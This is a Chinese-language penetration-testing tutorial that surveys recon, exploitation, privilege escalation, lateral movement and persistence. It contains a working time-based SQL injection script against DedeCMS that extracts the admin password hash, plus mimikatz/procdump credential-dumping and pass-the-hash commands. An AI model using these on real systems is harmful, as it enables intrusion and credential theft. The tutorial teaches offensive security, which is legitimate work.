完整的渗透实例--全面了解渗透技术
字数 1969 2025-08-09 18:44:09

完整的渗透测试实例与技术详解

信息收集阶段

网络探测技术

  1. Netdiscover工具:用于探测局域网内存活主机

    • 命令示例:netdiscover -r 192.168.1.0/24
    • 功能:通过ARP请求发现网络中的活动设备
  2. Nmap扫描

    • 基本扫描:nmap -sP 192.168.1.0/24 (Ping扫描)
    • 端口扫描:nmap -sV -O -p- 目标IP (全面扫描)
    • 高级选项:-A (激进扫描)、-T4 (快速扫描)
  3. 子域名枚举

    • 使用工具:wfuzz、Sublist3r、Amass
    • 示例命令:wfuzz -c -w wordlist.txt -H "Host: FUZZ.example.com" http://example.com

信息收集资源

漏洞利用阶段

CMS漏洞利用(以织梦CMS为例)

  1. 版本识别:通过文件路径、HTTP头、错误信息等识别CMS版本
  2. 已知漏洞利用
    • 织梦CMS 20150618版本存在SQL注入漏洞
    • 使用公开EXP获取管理员密码哈希
# 织梦CMS注入EXP示例
import urllib2
import time

def exploite(target):
    password = ""
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    for i in range(1,21):
        for p in payloads:
            s1 = "%s" %(i)
            s2 = "%s" %(ord(p))
            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
            start_time = time.time()
            try:
                req = urllib2.Request(s)
                req_data=opener.open(req,timeout=20)
                if time.time() - start_time > 4.0:
                    password += p
            except urllib2.URLError,e:
                print e;
    return password

漏洞资源库

权限提升技术

WebShell获取

  1. 常用工具

    • 中国蚁剑(AntSword)
    • 中国菜刀(Caidao)
    • Cobalt Strike
  2. WebShell连接

    • 通过上传点上传WebShell
    • 利用文件包含漏洞写入WebShell
    • 通过数据库写入WebShell

系统提权方法

  1. Windows提权

    • 使用JuicyPotato、PrintSpoofer等本地提权工具
    • 利用系统服务配置不当
    • 内核漏洞利用(CVE-2021-36934等)
  2. Linux提权

    • SUID/GUID错误配置
    • 内核漏洞利用(dirtycow等)
    • 计划任务滥用
  3. 数据库提权

    • MySQL UDF提权
    • MSSQL xp_cmdshell扩展存储过程
    • Oracle Java权限提升

内网渗透技术

横向移动技术

  1. 凭证获取

    • 使用Procdump+mimikatz获取明文密码
    procdump -accepteula -ma lsass.exe lsass.dmp
    mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
    
  2. Pass-the-Hash攻击

    • 使用psexec、wmiexec等工具进行哈希传递
    • 示例:psexec.py -hashes LMHASH:NTHASH user@target
  3. 域渗透技术

    • Kerberoasting攻击
    • AS-REP Roasting攻击
    • Golden Ticket攻击

代理与隧道技术

  1. Socks代理

    • Socks4a代理设置
    • Socks5代理配置
    • 使用proxychains进行代理链配置
    proxychains nmap -sT -Pn -n -p 80,443 10.0.0.1
    
  2. 内网穿透工具

    • Ngrok
    • Frp
    • Natapp
    • SSH隧道:ssh -D 1080 user@jumpserver

后渗透阶段

权限维持技术

  1. 持久化方法

    • Windows:注册表启动项、计划任务、服务创建
    • Linux:crontab、.bashrc、ssh authorized_keys
    • Web:后门文件、数据库触发器
  2. 隐蔽通信

    • DNS隧道
    • ICMP隧道
    • HTTP/HTTPS加密通信

数据收集与渗透

  1. 敏感信息收集

    • 配置文件扫描
    • 数据库转储
    • 浏览器保存的密码
  2. 网络拓扑探测

    • 路由信息查看:route printip route
    • ARP缓存分析:arp -a
    • 网络共享发现:net view \\target

工具与资源推荐

必备工具列表

  1. 扫描工具

    • Nmap
    • Masscan
    • Nikto
  2. 漏洞利用框架

    • Metasploit Framework
    • Cobalt Strike
    • SQLMap
  3. 密码破解

    • Hashcat
    • John the Ripper
    • Hydra

学习资源

  1. 书籍推荐

    • 《社会工程学:安全体系中的人性漏洞》
    • 《Python黑帽子:黑客与渗透测试编程之道》
    • 《MySQL必知必会》
  2. 在线资源

渗透测试流程总结

  1. 信息收集:全面收集目标信息,包括子域名、IP、端口、服务等
  2. 漏洞扫描:使用自动化工具和手动检查发现潜在漏洞
  3. 漏洞利用:针对发现的漏洞进行验证和利用
  4. 权限提升:从低权限提升到高权限,获取系统控制权
  5. 内网渗透:以已控制主机为跳板,探测和攻击内网其他系统
  6. 权限维持:建立持久化访问通道,防止被管理员发现和清除
  7. 痕迹清理:清除日志和操作痕迹(在授权测试中可选)
  8. 报告编写:详细记录测试过程和发现的问题,提出修复建议

通过这个完整的渗透实例,可以全面了解渗透测试的各个环节和技术要点,建议按照这个框架系统学习各项技术,逐步提升渗透测试能力。

完整的渗透测试实例与技术详解 信息收集阶段 网络探测技术 Netdiscover工具 :用于探测局域网内存活主机 命令示例: netdiscover -r 192.168.1.0/24 功能:通过ARP请求发现网络中的活动设备 Nmap扫描 : 基本扫描: nmap -sP 192.168.1.0/24 (Ping扫描) 端口扫描: nmap -sV -O -p- 目标IP (全面扫描) 高级选项: -A (激进扫描)、 -T4 (快速扫描) 子域名枚举 : 使用工具:wfuzz、Sublist3r、Amass 示例命令: wfuzz -c -w wordlist.txt -H "Host: FUZZ.example.com" http://example.com 信息收集资源 FreeBuf信息收集指南 Butian信息收集分享 阿里云社区信息收集技术 漏洞利用阶段 CMS漏洞利用(以织梦CMS为例) 版本识别 :通过文件路径、HTTP头、错误信息等识别CMS版本 已知漏洞利用 : 织梦CMS 20150618版本存在SQL注入漏洞 使用公开EXP获取管理员密码哈希 漏洞资源库 Exploit Database Seebug漏洞平台 Rapid7漏洞数据库 权限提升技术 WebShell获取 常用工具 : 中国蚁剑(AntSword) 中国菜刀(Caidao) Cobalt Strike WebShell连接 : 通过上传点上传WebShell 利用文件包含漏洞写入WebShell 通过数据库写入WebShell 系统提权方法 Windows提权 : 使用JuicyPotato、PrintSpoofer等本地提权工具 利用系统服务配置不当 内核漏洞利用(CVE-2021-36934等) Linux提权 : SUID/GUID错误配置 内核漏洞利用(dirtycow等) 计划任务滥用 数据库提权 : MySQL UDF提权 MSSQL xp_ cmdshell扩展存储过程 Oracle Java权限提升 内网渗透技术 横向移动技术 凭证获取 : 使用Procdump+mimikatz获取明文密码 Pass-the-Hash攻击 : 使用psexec、wmiexec等工具进行哈希传递 示例: psexec.py -hashes LMHASH:NTHASH user@target 域渗透技术 : Kerberoasting攻击 AS-REP Roasting攻击 Golden Ticket攻击 代理与隧道技术 Socks代理 : Socks4a代理设置 Socks5代理配置 使用proxychains进行代理链配置 内网穿透工具 : Ngrok Frp Natapp SSH隧道: ssh -D 1080 user@jumpserver 后渗透阶段 权限维持技术 持久化方法 : Windows:注册表启动项、计划任务、服务创建 Linux:crontab、.bashrc、ssh authorized_ keys Web:后门文件、数据库触发器 隐蔽通信 : DNS隧道 ICMP隧道 HTTP/HTTPS加密通信 数据收集与渗透 敏感信息收集 : 配置文件扫描 数据库转储 浏览器保存的密码 网络拓扑探测 : 路由信息查看: route print 或 ip route ARP缓存分析: arp -a 网络共享发现: net view \\target 工具与资源推荐 必备工具列表 扫描工具 : Nmap Masscan Nikto 漏洞利用框架 : Metasploit Framework Cobalt Strike SQLMap 密码破解 : Hashcat John the Ripper Hydra 学习资源 书籍推荐 : 《社会工程学:安全体系中的人性漏洞》 《Python黑帽子:黑客与渗透测试编程之道》 《MySQL必知必会》 在线资源 : FreeBuf安全社区 Butian攻防社区 阿里云安全社区 渗透测试流程总结 信息收集 :全面收集目标信息,包括子域名、IP、端口、服务等 漏洞扫描 :使用自动化工具和手动检查发现潜在漏洞 漏洞利用 :针对发现的漏洞进行验证和利用 权限提升 :从低权限提升到高权限,获取系统控制权 内网渗透 :以已控制主机为跳板,探测和攻击内网其他系统 权限维持 :建立持久化访问通道,防止被管理员发现和清除 痕迹清理 :清除日志和操作痕迹(在授权测试中可选) 报告编写 :详细记录测试过程和发现的问题,提出修复建议 通过这个完整的渗透实例,可以全面了解渗透测试的各个环节和技术要点,建议按照这个框架系统学习各项技术,逐步提升渗透测试能力。